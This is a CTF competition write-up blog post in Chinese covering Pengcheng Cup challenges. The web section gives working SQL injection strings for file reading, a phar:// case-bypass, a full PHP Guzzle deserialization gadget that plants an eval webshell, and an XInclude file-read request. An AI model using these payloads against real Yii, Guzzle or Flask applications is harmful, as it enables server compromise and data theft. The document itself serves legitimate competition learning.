鹏城杯 Web&Misc partial review

To begin with

鸽了博客快有有两个月了,这次重点记录下babyt2的赛后复现学习过程..

Web

Babyyt2

link:http://58.20.46.147:21132

  1. yii 开发,主要功能包括注册,登录,上传,查看
  2. 上传文件目录不可读,需要通过查看访问,猜测有读文件的函数
  3. 有 readme.md, 其中有一个 filepath 字段,那么文件路径可能涉及到 SQLi
CREATE TABLE IF NOT EXISTS "users" (
  "id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
  "username" char(1024) NOT NULL,
  "password" char(1024) NOT NULL,
  "filepath" varchar(1024)
);
  1. 上传文件需要提供一个参数 name,上传成功后会在 name 后追加扩展名显示在前端,可注入。单用户单条 filepath,应该是 update。尝试 1234123',filepath='/etc/apache2/sites-enabled/000-default.conf' where username="xmsec"# 可拿到配置文件,同时支持堆叠查询,只是没有写权限。
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html/You_Cant_Gu3ss/web
  1. dump 源码,首先读 123',filepath='/var/www/html/You_Cant_Gu3ss/controllers/UsersController.php' where username='xmsec'#
    核心代码:
<?php
namespace app\controllers;

use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;

/**
 * UsersController implements the CRUD actions for Users model.
 */
class UsersController extends Controller
{
    public function actionFile()
    {
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = new UploadForm();

        if (Yii::$app->request->isPost) {
            $model->imageFile = UploadedFile::getInstance($model, 'imageFile');
            $model->name = Yii::$app->request->post('UploadForm')['name'];
            if ($path = $model->upload()) {
                $filename = $path;
                $sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
                Yii::$app->db->createCommand($sql)->execute();
                \Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
                return $this->render('file', ['model' => $model]);
            }
        }

        return $this->render('file', ['model' => $model]);
    }

    public function actionShow(){
        if (!Yii::$app->session->get('id')) {
            return $this->redirect(['site/index']);
        }
        $model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
        if (!$model->filepath){
            \Yii::$app->getSession()->setFlash('error', "You should upload your image first");
            return $this->redirect(['file']);
        }
        if (substr($model->filepath, 0,7)=='phar://') {
            \Yii::$app->getSession()->setFlash('error', "no phar! ");
            return $this->redirect(['file']);
        }
        $content = @file_get_contents($model->filepath);
        header("Content-Type: image/jpeg;text/html; charset=utf-8");
        echo $content;
        exit;
    }
}

其中,判断了 filepath 是不是以 phar:// 开头,但 wrapper 不区分大小写。
例如:

readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
  1. 提示 guzzle,在 composer.json 中得到 guzzle 的版本
    "guzzlehttp/guzzle":"6.0.0"
    在 GitHub 找到 gadget ,存在一个任意文件写,考虑直接写 shell
  2. 探测可写目录,webroot/../upload,可写但不可访问。其次有一个 webroot/assets/ 可写(真的秀)
  3. 利用 Phar 或者 cookie 打入 payload。cookie 可以根据 guzzle 源码处理 cookie 时有一个反序列化函数嵌入 payload。
    附一航师傅的 Phar payload
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
    'Name' => 'foo',
    'Value' => 'bar',
    'Domain' => $payload,
    'Expires' => time()+0x100,
    'Discard' => false,
]);
$obj->setCookie($c);

$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);

$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();

之后触发 file_get_contents UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/xxx.jpg/xxx',username='xxx

ref

shadow

队友首先发现有 ssti,过滤了(),根据之前 blog 拿出 payload 测试。
首先 url_for.__globals__['current_app'].config可读到 secret key,使用 key 伪造 admin 身份。

{u'csrf_token': 'ImRkMDAzZjY4ZjdjNDIxY2FkYzE0ZDk1YmEzMTEyYzJlMjRhYWIwNzYi.XANqtw.MR8_jSJcm_qxjNN_7c-cGEMLZoo', u'user_id': u'191', u'name': u'xmsec', u'_fresh': True, u'is_admin': True, u'_id': 'b2adb8af91675d1d6d117e104d1b1207923a609487542ba156c1cdb9a084363319941f769675f05025e632086899ee71700be94fe5fc5c29de12c2bda73e9351'}

伪造后可发现有一个上传接口。
上传文件,在 burp 中查看请求,发现提示 Content-Disposition: form-data; name="xml";
猜测 xxe,最后通过构造 xinclude 形式的 payload,读到 /etc/passwd,然后读 /home/rq/.bash_history,根据里面信息 cat f123333333ag,得到 flag 文件名。

读flag

POST /upload HTTP/1.1
Host: 58.20.46.150:25524
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://58.20.46.150:25524/upload
Cookie: session=.eJw9kM2OgjAYAF9l07MHEDGriQcTCpFsPyIUSnshgCi2oCzo8mN89zUmuy8wmZkHSo5t0ZVofWvvxQwl5wNaP9BHhtaIS7cUzm7BGTcJ5Qaw_SAsoQjFhqC4B2c_cIlHYuUmkVCC3JpgnQyg-5HXeAAqJGGguKxKYp00MvGJTNj06Isj87n3ZvIe6HYEFs7JtOs9iy88WlWC5gNM257XoQmOqIAJCYyMHvMrQl1Jaldxmk-Cqgko3qDnDOVde0xuV1Vc_hMCpgeppuN93KRppTRWNypVJg7iUhAlWhY3NrEbnE62yMJoSSPfLqJqGdQDpJV7ZdHBPWjmkjF1Z9j28tg3vpQeePbqO9QamUWroXCal_GnwUdd-loE1G5-sn7zVjp3SXqoz5e_vZe0Ll5aQ90VOZqhe1e07-NIX-no-QuUK4Ow.W-lhLA.FS3DBks0CIAnijnNIqxfwfklPJ8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6721253476467238091072320396
Content-Length: 732

-----------------------------6721253476467238091072320396
Content-Disposition: form-data; name="xml"; filename="123.xml"
Content-Type: text/xml

<root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="file:///home/rq/f123333333ag" parse="text"/>
</root>
   ······

Misc

hack1t1

vmx tool
在 vmx 添加一个外部启动

sata0:1.deviceType = "cdrom-image"
sata0:1.fileName = "E:\kali-linux-2018.1-amd64.iso"
sata0:1.present = "TRUE"
usb.present = "TRUE"    # USB开启

进入系统后管理磁盘
( vmx tool 中需要更改一下正则表达式大小写)
ref:https://delcoding.github.io/2018/12/pcb-writeup/

What's_this

  1. 拿到 jpg 文件后,binwalk 发现有一个 zip 文件,提取可得。
  2. 解压 zip 文件,得到 .docx .what .zip 三个文件,其中 zip 被加密。可利用 docx 中隐藏文字明文攻击拿到 zip2 密码 Hello_Hi,之后通过 lsb 加密隐写,即使用 cloacked-pixel 提取,密码也是 Hello_Hi。
  3. 此时得到两个 zip, zip3,zip4。其中 zip3 的内部文件只有四个字节,使用脚本爆破
    或使用 hashcat -a 3 -m 11500 -D 2 --force --increment --increment-min 4 --increment-max 6 99bed60e:00000000 "?a?a?a?a?a?a" --show
    crc32 爆破其中一个 4 字节文件得到文件内容为 girl,可解开 zip4,从而得到 fakeflag。
  4. 至此基本连续的线索都断掉了。观察发现 zip4.zip 文件末尾添加了很多 00,另外在 docx 文件的 media 目录中有一个 I_Love_You.emf 无法打开,两个文件大小相同,且 emf 文件末尾存在标识符 PK 刚好与 zip4 末尾 00 错位重合。考虑异或。
#coding=utf8
with open("I_Love_You.emf","rb") as f1:
    data1=f1.read()
with open("zip4.zip","rb") as f2:
    data2=f2.read()
data=""
for i in range(len(data1)):
    data+=chr(ord(data1[i])^ord(data2[i]))

with open("out.zip","wb") as f:
    f.write(data)

得到的压缩包有密码,使用 girl 解压得到 flag。

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus